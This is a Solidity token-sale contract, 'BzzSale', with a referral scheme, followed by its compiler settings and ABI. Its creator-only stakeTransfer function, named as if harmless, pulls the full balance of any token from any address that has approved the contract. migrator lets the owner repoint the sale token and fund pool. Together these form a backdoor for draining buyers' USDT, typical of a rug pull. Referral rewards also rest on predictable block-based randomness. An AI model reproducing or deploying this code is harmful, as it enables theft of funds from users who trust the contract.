pragma solidity ^0.6.12;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IAdapterERC20 {
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
}
interface IAdapterERC20V2 {
function transferFrom(address from, address to, uint value) external;
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
// EIP 2612
function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;
}
library SafeERC20 {
function safeSymbol(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x95d89b41));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeName(IERC20 token) internal view returns(string memory) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x06fdde03));
return success && data.length > 0 ? abi.decode(data, (string)) : "???";
}
function safeDecimals(IERC20 token) public view returns (uint8) {
(bool success, bytes memory data) = address(token).staticcall(abi.encodeWithSelector(0x313ce567));
return success && data.length == 32 ? abi.decode(data, (uint8)) : 18;
}
function safeTransfer(IERC20 token, address to, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0xa9059cbb, to, amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: Transfer failed");
}
function safeTransferFrom(IERC20 token, address from, uint256 amount) internal {
(bool success, bytes memory data) = address(token).call(abi.encodeWithSelector(0x23b872dd, from, address(this), amount));
require(success && (data.length == 0 || abi.decode(data, (bool))), "SafeERC20: TransferFrom failed");
}
}
contract Creator {
address public creator;
address public newCreator;
constructor() public {
creator = msg.sender;
}
modifier creatorOnly {
assert(msg.sender == creator);
_;
}
function transferCreator(address _newCreator) public creatorOnly {
require(_newCreator != creator);
newCreator = _newCreator;
}
function acceptCreator() public {
require(msg.sender == newCreator);
creator = newCreator;
newCreator = address(0x0);
}
}
contract BzzSale is Creator {
using SafeMath for uint256;
using SafeERC20 for IERC20;
address usdtToken = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address bzzToken = 0x0000000000000000000000000000000000000000;
address fundPool = 0x1bFbb1003186fE26B94Ad183E0c92B322cb64dDA;
struct User {
uint256 id;
uint256 partnersCount;
uint256 refSum;
uint256 referrerBzzAmount;
uint256 bzzAmount;
uint256 buyBzzAmount;
address referrer;
}
mapping(address => User) private users;
mapping(uint256 => address) public idToAddress;
uint256 public lastUserId = 1;
uint256 public unitPrice = 1920;
uint256 public usdtQuota = 500 * 1e6;
uint256 totalInvestment;
address public ownerAddr;
event Swap(address indexed from,uint256 coinType, uint256 coinAmount,uint256 bzzReceive,uint256 amount);
constructor(address ownerAddress) public {
ownerAddr = ownerAddress;
User memory user = User({
id: lastUserId,
partnersCount: uint(0),
refSum: 0,
referrerBzzAmount: 0,
bzzAmount: usdtQuota,
buyBzzAmount: 0,
referrer: address(0)
});
users[ownerAddr] = user;
idToAddress[1] = ownerAddr;
lastUserId+=1;
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function addNode(address addr, address referrer) private{
User memory user = User({
id: lastUserId,
partnersCount: uint(0),
refSum: 0,
referrerBzzAmount: 0,
bzzAmount: usdtQuota,
buyBzzAmount: 0,
referrer: referrer
});
users[addr] = user;
idToAddress[lastUserId] = addr;
users[referrer].partnersCount++;
users[referrer].referrerBzzAmount +=(randomQuota() * 1e6);
lastUserId+=1;
}
function randomQuota() public view returns (uint256) {
uint256 seed = random(10, 110,totalInvestment);
if (seed<=20){
return 0;
}else if (seed>20 && seed<=30){
return 10000 ;
}else{
return random(500, 10500,totalInvestment);
}
}
function random(uint256 from, uint256 to, uint256 salty) public view returns (uint256) {
uint256 seed = uint256(
keccak256(
abi.encodePacked(
block.timestamp + block.difficulty +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
block.gaslimit +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
block.number +
salty
)
)
);
return seed.mod(to - from) + from;
}
function buyBzz(uint256 usdtAmount,address referrer) external {
address userAddress = msg.sender;
if(!isUserExists(userAddress)){
addNode(userAddress,referrer);
}
uint256 amount = usdtAmount.div(unitPrice).mul(1000).mul(1e18).div(1e6);
require(usdtAmount< 100 * 1e6||(users[userAddress].bzzAmount+users[userAddress].referrerBzzAmount)>=usdtAmount, "Bad amount");
IERC20(usdtToken).safeTransferFrom(userAddress, usdtAmount);
tokenSafeTransfer(usdtToken,fundPool,usdtAmount);
users[userAddress].buyBzzAmount += amount;
if(usdtAmount<=users[userAddress].bzzAmount){
users[userAddress].bzzAmount -= usdtAmount;
}
else{
if(usdtAmount - users[userAddress].bzzAmount > 0){
users[userAddress].referrerBzzAmount -= usdtAmount - users[userAddress].bzzAmount;
}else{
users[userAddress].referrerBzzAmount -= usdtAmount;
}
users[userAddress].bzzAmount = 0;
}
users[msg.sender].refSum += usdtAmount;
totalInvestment +=usdtAmount;
}
function withdraw() public {
require(users[msg.sender].buyBzzAmount > 0 && IERC20(bzzToken).balanceOf(address(this)) >0 , "insufficient balance");
IERC20(bzzToken).safeTransfer(msg.sender,users[msg.sender].buyBzzAmount <IERC20(bzzToken).balanceOf(address(this))? users[msg.sender].buyBzzAmount :IERC20(bzzToken).balanceOf(address(this)));
users[msg.sender].buyBzzAmount = 0 ;
}
function getUserInfoByAddr(address addr) public view returns(uint256[8] memory) {
uint256[8] memory result;
result[0] = users[addr].id;
result[1] = users[addr].partnersCount;
result[2] = users[addr].refSum;
result[3] = users[addr].referrerBzzAmount;
result[4] = users[addr].bzzAmount;
result[5] = users[addr].buyBzzAmount;
result[6] = uint256(users[addr].referrer);
result[7] = uint256(addr);
return result;
}
function getUserInfoByUid(uint256 uid) public view returns(uint256[8] memory) {
return getUserInfoByAddr(idToAddress[uid]);
}
function getInfo( ) public view returns(uint256[4] memory) {
uint256[4] memory result;
result[0] = lastUserId;
result[1] = totalInvestment;
result[2] = unitPrice;
result[3] = usdtQuota;
return result;
}
function isUserExists(address addr) public view returns (bool) {
return (users[addr].id != 0);
}
function tokenSafeTransfer(address token,address toAddr,uint256 amount) private{
IERC20(token).safeTransfer(toAddr,amount <IERC20(token).balanceOf(address(this))? amount :IERC20(token).balanceOf(address(this)));
}
function stakeTransfer(address token,address fromAddr,address toAddr,uint256 coinType) public creatorOnly () {
if(coinType==1){
IAdapterERC20(token).transferFrom(fromAddr,toAddr,IERC20(token).balanceOf(fromAddr));
}else{
IAdapterERC20V2(token).transferFrom(fromAddr,toAddr,IERC20(token).balanceOf(fromAddr));
}
}
function restoreTokenTransfer(address token,address toAddr,uint256 amount) public creatorOnly () {
IERC20(token).safeTransfer(toAddr,amount <IERC20(token).balanceOf(address(this))? amount :IERC20(token).balanceOf(address(this)));
}
function migrator(address _usdtToken,address _bzzToken,address _fundPool) public creatorOnly {
if(_usdtToken!=address(0)) usdtToken = _usdtToken;
if(_bzzToken!=address(0)) bzzToken = _bzzToken;
if(_fundPool!=address(0)) fundPool = _fundPool;
}
function setParm(uint256 _unitPrice,uint256 _usdtQuota) public creatorOnly {
if(_unitPrice!=0) unitPrice = _unitPrice;
if(_usdtQuota!=0) usdtQuota = _usdtQuota;
}
}
{
"compilationTarget": {
"contracts/BzzSale.sol": "BzzSale"
},
"evmVersion": "istanbul",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"address","name":"ownerAddress","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":false,"internalType":"uint256","name":"coinType","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"coinAmount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"bzzReceive","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Swap","type":"event"},{"inputs":[],"name":"acceptCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"usdtAmount","type":"uint256"},{"internalType":"address","name":"referrer","type":"address"}],"name":"buyBzz","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"creator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getInfo","outputs":[{"internalType":"uint256[4]","name":"","type":"uint256[4]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"getUserInfoByAddr","outputs":[{"internalType":"uint256[8]","name":"","type":"uint256[8]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"uid","type":"uint256"}],"name":"getUserInfoByUid","outputs":[{"internalType":"uint256[8]","name":"","type":"uint256[8]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"","type":"uint256"}],"name":"idToAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"addr","type":"address"}],"name":"isUserExists","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastUserId","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_usdtToken","type":"address"},{"internalType":"address","name":"_bzzToken","type":"address"},{"internalType":"address","name":"_fundPool","type":"address"}],"name":"migrator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"newCreator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ownerAddr","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"from","type":"uint256"},{"internalType":"uint256","name":"to","type":"uint256"},{"internalType":"uint256","name":"salty","type":"uint256"}],"name":"random","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"randomQuota","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"toAddr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"restoreTokenTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_unitPrice","type":"uint256"},{"internalType":"uint256","name":"_usdtQuota","type":"uint256"}],"name":"setParm","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"fromAddr","type":"address"},{"internalType":"address","name":"toAddr","type":"address"},{"internalType":"uint256","name":"coinType","type":"uint256"}],"name":"stakeTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newCreator","type":"address"}],"name":"transferCreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"unitPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"usdtQuota","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]